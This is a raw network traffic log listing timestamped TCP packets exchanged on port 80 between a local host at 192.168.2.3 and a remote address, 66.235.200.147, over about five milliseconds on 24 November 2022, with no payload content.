Nov 24, 2022 16:57:33.438774109 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438786983 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438805103 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438813925 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438822031 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438838959 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438848972 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438855886 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438873053 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438915014 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438915014 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438932896 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438935041 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438951015 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438967943 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.438976049 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.438986063 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439012051 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439022064 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.439029932 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439048052 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439052105 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.439065933 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439084053 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439095020 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.439101934 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439120054 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439122915 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.439136982 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439153910 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439167976 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.439172029 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439189911 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439197063 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.439227104 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.439371109 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439389944 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439407110 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439424038 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439439058 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.439440966 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439461946 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.439475060 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439492941 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439511061 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439512968 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.439527988 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439546108 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439547062 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.439563990 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439580917 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439582109 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.439616919 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.439738035 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439755917 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439773083 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439790010 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439791918 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.439809084 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439826012 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.439826965 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439843893 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439862013 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.439862013 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439881086 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439898014 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.439898968 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439915895 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439934015 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439934015 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.439950943 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439969063 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.439969063 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.439986944 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440005064 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440005064 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.440022945 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440038919 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440042019 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.440057039 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440074921 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440079927 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.440093040 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440109015 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440112114 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.440138102 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440144062 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.440155983 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440172911 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440188885 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440191984 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.440205097 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440221071 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440222979 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.440238953 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440254927 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440257072 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.440272093 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440288067 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440289974 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.440304995 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440320969 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440324068 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.440336943 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440352917 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440356016 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.440370083 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440385103 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440387964 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.440402031 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440418005 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440419912 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.440435886 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440452099 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.440453053 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440486908 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.440615892 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440632105 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440649986 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440665960 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440669060 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.440681934 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440699100 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440701962 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.440727949 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440733910 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.440886021 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440921068 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.440932035 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440948009 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440964937 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440980911 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.440983057 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.440998077 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441014051 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441016912 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.441030979 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441046953 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441056967 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.441065073 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441081047 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441085100 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.441097975 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441114902 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441117048 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.441131115 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441148043 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441152096 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.441164970 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441179991 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441184998 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.441198111 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441214085 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441215992 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.441231012 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441246986 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441263914 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441268921 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.441282034 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441297054 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441301107 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.441312075 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.441313982 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441329956 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441348076 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441349983 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.441365004 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441380978 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441384077 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.441399097 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441414118 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.441416025 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441431999 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441448927 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441452026 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.441466093 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441482067 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441483974 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.441498041 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441514015 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441515923 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.441529989 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441546917 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441562891 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441579103 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441595078 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441611052 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441627979 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441644907 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.441701889 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.441701889 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.441701889 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.441701889 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.441716909 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.441854000 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442018986 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442037106 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442054033 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442056894 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442070007 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442086935 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442100048 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442102909 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442121983 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442122936 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442137957 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442158937 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442159891 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442177057 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442193031 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442194939 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442209005 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442225933 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442228079 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442243099 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442260027 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442260981 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442276955 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442293882 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442296982 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442311049 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442327023 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442327976 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442342997 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442372084 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442383051 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442404985 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442421913 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442424059 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442439079 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442456007 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442459106 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442472935 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442488909 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442491055 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442506075 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442522049 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442524910 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442538023 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442553997 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442558050 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442570925 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442586899 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442589045 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442603111 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442619085 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442620039 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442636013 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442653894 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442655087 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442670107 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442687035 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442689896 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442703009 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442718983 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442720890 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442734957 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442751884 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442754984 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442769051 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442785978 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442859888 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442886114 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442919016 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442920923 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442939043 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442956924 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442966938 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.442975044 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442991972 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.442997932 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443010092 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443027973 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443031073 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443046093 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443063974 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443067074 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443083048 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443099976 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443099976 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443118095 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443135023 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443136930 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443155050 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443171978 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443173885 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443190098 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443208933 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443212032 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443226099 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443243027 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443243980 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443262100 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443279982 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443280935 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443296909 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443314075 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443315029 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443331003 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443347931 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443350077 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443367004 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443383932 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443386078 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443403006 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443418980 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443418980 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443437099 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443454981 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443461895 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443471909 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443489075 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443491936 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443506956 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443523884 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443525076 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443541050 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443558931 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443558931 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443576097 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443593025 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443595886 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443610907 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443628073 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443634987 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443646908 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443665028 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443681955 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443707943 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443768024 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443785906 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443804979 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443825960 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443836927 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443854094 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443871021 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443875074 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443888903 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.443905115 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.443906069 CET	80	49712	66.235.200.147	192.168.2.3
